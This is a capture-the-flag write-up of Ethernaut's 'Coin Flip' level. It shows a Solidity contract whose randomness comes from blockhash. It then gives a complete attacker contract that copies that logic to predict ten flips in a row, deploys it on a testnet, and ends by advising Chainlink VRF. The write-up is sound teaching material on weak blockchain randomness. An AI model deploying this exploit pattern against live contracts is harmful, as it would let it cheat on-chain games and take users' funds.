Ethernaut level #3 - Coin Flip
Tags: ethernaut, solidity
Published: 2023-11-11 21:55:47

Let's dive into Ethernaut challenge #3 - Coin Flip. In this assignment, we will learn about the complexities of random number generation on blockchain.

## Requirements
For the following smart contract:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```
We have to guess the magic number for 10 times in a row. 

## Solution
The guessing logic function `flip` might look a bit scary: it uses a big `FACTOR` number, depends on block number, etc. Well, the issue is that all this complexity doesn't really matter. Smart contract code is publicly available and it's possible to reproduce the logic by just copying it. But of course we need to understand what exactly should be copied. 

Starting with state variables. We don't need `consecutiveWins`, because it's a count tracker in `CoinFlip` and has nothing to do with random generator logic. But we can see that the other two state variables: 
```solidity
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
```
are used in used in `flip()` function. It also a good idea to copy the first part of `flip()` itself because it contains everything we need to generate correct random value:
```solidity
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
  revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
```
In fact, we are almost done! However, we have to call Coin Flip contract. For this we will define its interface and call `flip()` method. Complete solution code:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function consecutiveWins() external returns (uint256);
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {

    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    address coinFlipContract;

    constructor(address _coinFlipContract) {
        coinFlipContract = _coinFlipContract;
    }

    function guess() public {
      uint256 blockValue = uint256(blockhash(block.number - 1));

      if (lastHash == blockValue) {
        revert();
      }

      lastHash = blockValue;
      uint256 coinFlip = blockValue / FACTOR;
      bool side = coinFlip == 1 ? true : false;

      ICoinFlip(coinFlipContract).flip(side);
    }
}
```
Notice `ICoinFlip` interface definition and a call at the end of `guess()`.

Let's deploy our smart contract in Remix. Be sure to select an _Injected Provider - Metamask_ and switch to the same testnet where Ethernaut instance is deployed. In my case it's Sepolia network. I'll create a separate post on how to deploy and verify contracts in Remix, so stay tuned if you are interested. 

Copy the address of Ethernaut instance, provide it as a constructor argument and click _Deploy_. Here is how it should look like: 

![CoinFlip solution deployment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ppfsb1qbvlqdpjiynfep.png)

Let's return to the task page and check how many consecutive we have at the moment (should be zero): 
```javascript
await contract.consecutiveWins().then(result => result.toString()
```
Now comes the boring part. We have to call `guess()` function for 10 times in a row to solve the challenge. Luckily, we are on a right track and almost certainly our labor will be rewarded. 

After calling `guess()` 10 times run previous command in console once again. Here we have it. Another level is completed! 

## Summary
Random numbers are not natively supported on blockchain. Anyone can see the code and just copy it without even getting into the details of implementation. Consider using Oracle like Chainlink [VRF](https://docs.chain.link/vrf) for random numbers generation. 
 
My personal recommendations for further education:
- Check smart contract hacking course by [JohnnyTime](https://twitter.com/RealJohnnyTime). There is an entire section on randomness vulnerabilities.

- Find problems in [CodeHawks](https://www.codehawks.com/) First Flight #2. This competition emphasises on issues with random numbers.